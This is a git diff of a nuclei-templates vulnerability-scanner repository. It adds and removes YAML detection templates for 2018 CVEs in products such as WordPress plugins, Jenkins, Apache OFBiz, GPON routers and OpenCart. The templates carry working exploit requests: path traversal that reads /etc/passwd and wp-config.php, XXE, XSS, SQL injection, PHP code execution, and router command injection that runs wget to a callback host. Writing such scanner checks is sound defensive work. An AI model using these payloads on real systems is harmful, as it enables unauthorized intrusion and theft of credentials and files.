4.9.8') + + - type: status + status: + - 200 + + extractors: + - type: regex + name: version_by_generator + group: 1 + regex: + - '(?m)https:\/\/wordpress.org\/\?v=([0-9.]+)' + + - type: regex + name: version_by_js + group: 1 + regex: + - 'wp-emoji-release\.min\.js\?ver=((\d+\.?)+)\b' + + - type: regex + name: version_by_css + group: 1 + regex: + - 'install\.min\.css\?ver=((\d+\.?)+)\b' diff --git a/nuclei-templates/CVE-2018/CVE-2018-7251.yaml b/nuclei-templates/CVE-2018/CVE-2018-7251.yaml deleted file mode 100644 index 90f7adb2ad..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-7251.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-7251 - -info: - name: Anchor CMS 0.12.3 - Error Log Exposure - author: pdteam - severity: critical - description: | - Anchor CMS 0.12.3 is susceptible to an error log exposure vulnerability due to an issue in config/error.php. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as "Too many connections") has occurred. - reference: - - https://github.com/anchorcms/anchor-cms/issues/1247 - - http://www.andmp.com/2018/02/advisory-assigned-CVE-2018-7251-in-anchorcms.html - - https://twitter.com/finnwea/status/965279233030393856 - - http://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html - - https://github.com/anchorcms/anchor-cms/releases/tag/0.12.7 - - https://nvd.nist.gov/vuln/detail/CVE-2018-7251 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-7251 - cwe-id: CWE-200 - tags: cve,cve2018,anchorcms,logs,error - -requests: - - method: GET - path: - - '{{BaseURL}}/anchor/errors.log' - matchers: - - type: word - words: - - '"date":' - - '"message":' - - '"trace":[' - condition: and - - -# Enhanced by mp on 2022/04/22 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7422.yaml b/nuclei-templates/CVE-2018/CVE-2018-7422.yaml new file mode 100644 index 0000000000..75b860e4d0 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7422.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-7422 +info: + name: WordPress Site Editor Plugin LFI + author: LuskaBol,0x240x23elu + severity: high + description: A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php. + reference: + - https://www.exploit-db.com/exploits/44340 + - http://seclists.org/fulldisclosure/2018/Mar/40 + - https://wpvulndb.com/vulnerabilities/9044 + - https://www.exploit-db.com/exploits/44340/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-7422 + cwe-id: CWE-22,CWE-829 + tags: cve,cve2018,wordpress,wp-plugin,lfi +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php' + - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd" + matchers-condition: or + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + part: body + condition: and + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-7662.yaml b/nuclei-templates/CVE-2018/CVE-2018-7662.yaml new file mode 100644 index 0000000000..9794f65573 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7662.yaml @@ -0,0 +1,51 @@ +id: CVE-2018-7662 + +info: + name: CouchCMS <= 2.0 - Path Disclosure + author: ritikchaddha + severity: medium + description: CouchCMS <= 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php. + remediation: | + Upgrade to the latest version of CouchCMS (2.1 or higher) to mitigate this vulnerability. + reference: + - https://github.com/CouchCMS/CouchCMS/issues/46 + - https://nvd.nist.gov/vuln/detail/CVE-2018-7662 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-7662 + cwe-id: CWE-200 + epss-score: 0.00286 + epss-percentile: 0.65291 + cpe: cpe:2.3:a:couchcms:couch:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: couchcms + product: couch + tags: couchcms,fpd,cve,cve2018 + +http: + - method: GET + path: + - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php" + - "{{BaseURL}}/addons/phpmailer/phpmailer.php" + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: word + part: body + words: + - "mysql2i.func.php on line 10" + - "Fatal error: Cannot redeclare mysql_affected_rows() in" + condition: and + + - type: word + part: body + words: + - "phpmailer.php on line 10" + - "Fatal error: Call to a menber function add_event_listener() on a non-object in" + condition: and + +# digest: 4a0a00473045022100a5980e523172a8ec729cc3d2b1b61fbc15f96ffcb1a846fdc949bb79fb8acfc8022005aa5a96cbd0305f5166f9ef37e7a075f160f195559c9291c57e7f90be095f51:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7700.yaml b/nuclei-templates/CVE-2018/CVE-2018-7700.yaml deleted file mode 100644 index 7ecfd09be8..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-7700.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2018-7700 - -info: - name: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution - author: pikpikcu - severity: high - description: | - DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code. - reference: - - https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ - - https://nvd.nist.gov/vuln/detail/CVE-2018-7700 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2018-7700 - cwe-id: CWE-352 - tags: cve,cve2018,dedecms,rce - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "4cc32a3a81d2bb37271934a48ce4468a" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/16 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7719.yaml b/nuclei-templates/CVE-2018/CVE-2018-7719.yaml new file mode 100644 index 0000000000..a9213a0e65 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7719.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-7719 + +info: + name: Acrolinx Server Directory Traversal + author: 0x_akoko + severity: high + description: Acrolinux Server versions prior to 5.2.5 suffer from a directory traversal vulnerability. + reference: + - https://packetstormsecurity.com/files/146911/Acrolinx-Server-Directory-Traversal.html + - https://www.cvedetails.com/cve/CVE-2018-7719 + - https://support.acrolinx.com/hc/en-us/articles/213987685-Acrolinx-Server-Version-5-1-including-subsequent-service-releases- + - https://www.exploit-db.com/exploits/44345/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-7719 + cwe-id: CWE-22 + tags: cve,cve2018,acrolinx,lfi + +requests: + - raw: + - |+ + GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-8006.yaml b/nuclei-templates/CVE-2018/CVE-2018-8006.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-8006.yaml rename to nuclei-templates/CVE-2018/CVE-2018-8006.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-8033.yaml b/nuclei-templates/CVE-2018/CVE-2018-8033.yaml new file mode 100644 index 0000000000..8b3bf3cb60 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-8033.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-8033 + +info: + name: Apache OFBiz XXE + author: pikpikcu + severity: high + description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04 + reference: + - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-8033 + cwe-id: CWE-200 + tags: cve,cve2018,apache,ofbiz,xxe + +requests: + - raw: + - | + POST /webtools/control/xmlrpc HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Accept-Language: en + Content-Type: application/xml + + ]>&disclose; + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-8719.yaml b/nuclei-templates/CVE-2018/CVE-2018-8719.yaml deleted file mode 100644 index 022985a814..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-8719.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-8719 - -info: - name: WordPress Plugin WP Security Audit Log 3.1.1 - Information Disclosure - author: LogicalHunter - severity: medium - description: Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. For example, these files are indexed by Google and allows for attackers to possibly find sensitive information - reference: - - https://www.exploit-db.com/exploits/44371 - - https://vuldb.com/?id.115817 - - https://www.cvedetails.com/cve/CVE-2018-8719/ - tags: wordpress,wp-plugin,cve,cve2018,exposure - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2018-8719 - cwe-id: CWE-532 - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/uploads/wp-security-audit-log/failed-logins/" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "[TXT]" - - ".log" - - "Index of" - condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-8727.yaml b/nuclei-templates/CVE-2018/CVE-2018-8727.yaml new file mode 100644 index 0000000000..8b3388f3b6 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-8727.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-8727 + +info: + name: Mirasys DVMS Workstation 5.12.6 Path Traversal + author: 0x_akoko + severity: high + description: Mirasys DVMS Workstation versions 5.12.6 and below suffer from a path traversal vulnerability. + reference: + - https://www.cvedetails.com/cve/CVE-2018-8727 + - https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-8727 + cwe-id: CWE-22 + tags: cve,cve2018,mirasys,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini" + + stop-at-first-match: true + matchers: + - type: word + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-9845.yaml b/nuclei-templates/CVE-2018/CVE-2018-9845.yaml deleted file mode 100644 index 4b0e69b0a6..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-9845.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2018-9845 - -info: - name: Etherpad Lite <1.6.4 - Admin Authentication Bypass - author: philippedelteil - severity: critical - description: Etherpad Lite before 1.6.4 is exploitable for admin access. - reference: - - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4 - - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b - - https://nvd.nist.gov/vuln/detail/CVE-2018-9845 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-9845 - tags: cve,cve2018,etherpad,auth-bypass - -requests: - - method: GET - path: - - "{{BaseURL}}/Admin" - - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Etherpad version" - - "Plugin manager" - - "Installed parts" - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/16 diff --git "a/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064.yaml" "b/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064.yaml" deleted file mode 100644 index 68796ed2a0..0000000000 --- "a/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064.yaml" +++ /dev/null @@ -1,26 +0,0 @@ -id: cve-2018-14064 - -info: - name: VelotiSmart Wifi - Directory Traversal - author: 0x_Akoko - severity: high - reference: | - - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac - - https://www.exploit-db.com/exploits/45030 - tags: velotismart,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-0296.yaml b/nuclei-templates/CVE-2018/cve-2018-0296.yaml deleted file mode 100644 index 2c6f06d521..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-0296.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-0296 - -info: - name: Cisco ASA path traversal vulnerability - author: organiccrap - severity: high - tags: cve,cve2018,cisco,lfi,traversal - reference: https://github.com/yassineaboukir/CVE-2018-0296 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.50 - cve-id: CVE-2018-0296 - cwe-id: CWE-22 - description: "A vulnerability in the web interface of the Cisco Adaptive Security Appliance (ASA) could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029." - -requests: - - method: GET - path: - - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" - headers: - Accept-Encoding: deflate - - matchers-condition: and - matchers: - - type: word - words: - - "///sessions" - part: body - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-1000129.yaml b/nuclei-templates/CVE-2018/cve-2018-1000129.yaml new file mode 100644 index 0000000000..9fc6a43150 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1000129.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-1000129 + +info: + name: Jolokia XSS + author: mavericknerd,0h1in9e + severity: medium + description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser. + tags: cve,cve2018,jolokia,xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-1000129 + cwe-id: CWE-79 + reference: + - https://jolokia.org/#Security_fixes_with_1.5.0 + - https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad + - https://access.redhat.com/errata/RHSA-2018:2669 + - https://access.redhat.com/errata/RHSA-2018:3817 + +requests: + - method: GET + path: + - "{{BaseURL}}/jolokia/read?mimeType=text/html" + - "{{BaseURL}}/api/jolokia/read?mimeType=text/html" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "" + part: body + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-1000226.yaml b/nuclei-templates/CVE-2018/cve-2018-1000226.yaml new file mode 100644 index 0000000000..c070e810a9 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1000226.yaml @@ -0,0 +1,60 @@ +id: CVE-2018-1000226 + +info: + name: Cobbler versions 2.6.11+, (2.0.0+ or older versions) - Authentication Bypass + author: c-sh0 + severity: critical + reference: + - https://github.com/cobbler/cobbler/issues/1916 + - https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000226 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-1000226 + cwe-id: CWE-732 + tags: cve,cve2018,cobbler,auth-bypass + +requests: + - raw: + - | + POST {{BaseURL}}/cobbler_api HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + _CobblerXMLRPCInterface__make_token + + + + cobbler + + + + + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "Content-Type: text/xml" + + - type: word + part: body + words: + - "" + + - type: dsl + dsl: + - "!contains(tolower(body), 'faultCode')" + + - type: regex + part: body + regex: + - "(.*[a-zA-Z0-9].+==)" diff --git a/nuclei-templates/CVE-2018/cve-2018-1000533.yaml b/nuclei-templates/CVE-2018/cve-2018-1000533.yaml deleted file mode 100644 index 7532d878ce..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-1000533.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2018-1000533 - -info: - name: GitList < 0.6.0 RCE - author: pikpikcu - severity: critical - description: klaussilveira GitList version <= 0.6 contains a Passing incorrectly sanitized input to system function vulnerability in `searchTree` function that can result in Execute any code as PHP user. - reference: https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 - tags: rce,git,cve,cve2018,gitlist - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-1000533 - cwe-id: CWE-20 - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /{{path}}/tree/a/search HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - query=--open-files-in-pager=cat%20/etc/passwd - - extractors: - - type: regex - name: path - group: 1 - internal: true - part: body - regex: - - '(.*?)' - - matchers: - - type: word - words: - - "root:/root:/bin/bash" - part: body diff --git a/nuclei-templates/CVE-2018/cve-2018-1000861.yaml b/nuclei-templates/CVE-2018/cve-2018-1000861.yaml new file mode 100644 index 0000000000..df0c630278 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1000861.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-1000861 + +info: + name: Jenkins 2.138 Remote Command Execution + author: dhiyaneshDK,pikpikcu + severity: critical + reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 + tags: cve,cve2018,jenkin,rce,jenkins + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-1000861 + cwe-id: CWE-502 + description: "A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way." + +requests: + - method: GET + path: + - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;' + + matchers-condition: and + matchers: + + - type: word + words: + - "package#vulntest" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-10093.yaml b/nuclei-templates/CVE-2018/cve-2018-10093.yaml new file mode 100644 index 0000000000..6c881cf9d6 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-10093.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-10093 + +info: + name: AudioCode 400HD - RCE + author: wisnupramoedya + severity: high + description: AudioCodes IP phone 420HD devices using firmware version 2.2.12.126 allow Remote Code Execution. + reference: + - https://www.exploit-db.com/exploits/46164 + - https://nvd.nist.gov/vuln/detail/CVE-2018-10093 + tags: cve,cve2018,rce,iot + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2018-10093 + cwe-id: CWE-862 + +requests: + - method: GET + path: + - "{{BaseURL}}/command.cgi?cat%20/etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "admin:.*:*sh$" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-10201.yaml b/nuclei-templates/CVE-2018/cve-2018-10201.yaml deleted file mode 100644 index eb1ae10d80..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-10201.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-10201 - -info: - name: Ncomputing vSPace Pro 10 and 11 Directory Traversal - author: 0x_akoko - severity: high - description: Ncomputing vSpace Pro versions 10 and 11 suffer from a directory traversal vulnerability. - reference: - - https://packetstormsecurity.com/files/147303/Ncomputing-vSPace-Pro-10-11-Directory-Traversal.html - - https://www.cvedetails.com/cve/CVE-2018-10201 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-10201 - cwe-id: CWE-22 - tags: cve,cve2018,ncomputing,lfi - -requests: - - method: GET - path: - - '{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini' - - '{{BaseURL}}/...\...\...\...\...\...\...\...\...\windows\win.ini' - - '{{BaseURL}}/..../..../..../..../..../..../..../..../..../windows/win.ini' - - '{{BaseURL}}/....\....\....\....\....\....\....\....\....\windows\win.ini' - - stop-at-first-match: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-10230.yaml b/nuclei-templates/CVE-2018/cve-2018-10230.yaml deleted file mode 100644 index feadcb357a..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-10230.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2018-10230 - -info: - name: Zend Server <9.13 - Cross-Site Scripting - author: marcos_iaf - severity: medium - description: | - Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability. - reference: - - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf - - https://www.zend.com/en/products/server/release-notes - - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-10230 - cwe-id: CWE-79 - epss-score: 0.00122 - epss-percentile: 0.46318 - cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zend - product: zend_server - tags: cve,cve2018,xss,zend - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "is not allowed to open debug sessions" - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 490a0046304402201423fd900a1cd2dcf52028722c5f7a43f8b6d20d5a5b65d58f59ffed42a8f6ff02205da25d220a25b5faef2f03778f2b749c7a385c901429baf839f1815fc1681d28:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-10562.yaml b/nuclei-templates/CVE-2018/cve-2018-10562.yaml new file mode 100644 index 0000000000..b65eb8717e --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-10562.yaml @@ -0,0 +1,38 @@ +id: CVE-2018-10562 + +info: + name: Dasan GPON Devices - Remote Code Execution (Unauthenticated) + author: gy741 + severity: critical + description: An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. + reference: + - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router + - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py + - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N + cvss-score: 9.80 + cve-id: CVE-2018-10562 + cwe-id: CWE-78 + tags: cve,cve2018,dasan,gpon,rce,oast + +requests: + - raw: + - | + POST /GponForm/diag_Form?images/ HTTP/1.1 + Host: {{Hostname}} + + XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0 + + - | + POST /GponForm/diag_Form?images/ HTTP/1.1 + Host: {{Hostname}} + + XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0 + + stop-at-first-match: true + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2018/cve-2018-10956.yaml b/nuclei-templates/CVE-2018/cve-2018-10956.yaml new file mode 100644 index 0000000000..1cde241ed5 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-10956.yaml @@ -0,0 +1,33 @@ +id: CVE-2018-10956 +info: + name: IPConfigure Orchid Core VMS 2.0.5 - Unauthenticated Directory Traversal. + author: 0x_Akoko + severity: high + description: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal. + reference: + - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/ + - https://github.com/nettitude/metasploit-modules/blob/master/orchid_core_vms_directory_traversal.rb + - https://www.cvedetails.com/cve/CVE-2018-10956 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 7.5 + cve-id: CVE-2018-10956 + cwe-id: CWE-22 + metadata: + shodan-query: http.title:"Orchid Core VMS" + tags: cve,cve2018,orchid,vms,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-11231.yaml b/nuclei-templates/CVE-2018/cve-2018-11231.yaml new file mode 100644 index 0000000000..0245c2a8a3 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-11231.yaml @@ -0,0 +1,56 @@ +id: CVE-2018-11231 + +info: + name: Opencart Divido - Sql Injection + author: ritikchaddha + severity: high + description: | + OpenCart Divido plugin is susceptible to SQL injection + impact: | + This vulnerability can lead to data theft, unauthorized access, and potential compromise of the entire Opencart Divido system. + remediation: | + Apply the official patch or upgrade to a version that includes the fix. + reference: + - https://web.archive.org/web/20220331072310/http://foreversong.cn/archives/1183 + - https://nvd.nist.gov/vuln/detail/CVE-2018-11231 + - http://foreversong.cn/archives/1183 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.1 + cve-id: CVE-2018-11231 + cwe-id: CWE-89 + epss-score: 0.00903 + epss-percentile: 0.82368 + cpe: cpe:2.3:a:divido:divido:-:*:*:*:*:opencart:*:* + metadata: + max-request: 1 + vendor: divido + product: divido + framework: opencart + tags: cve,cve2018,opencart,sqli,intrusive,divido +variables: + num: "999999999" + +http: + - raw: + - | + POST /upload/index.php?route=extension/payment/divido/update HTTP/1.1 + Host: {{Hostname}} + + {"metadata":{"order_id":"1 and updatexml(1,concat(0x7e,(SELECT md5({{num}})),0x7e),1)"},"status":2} + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - 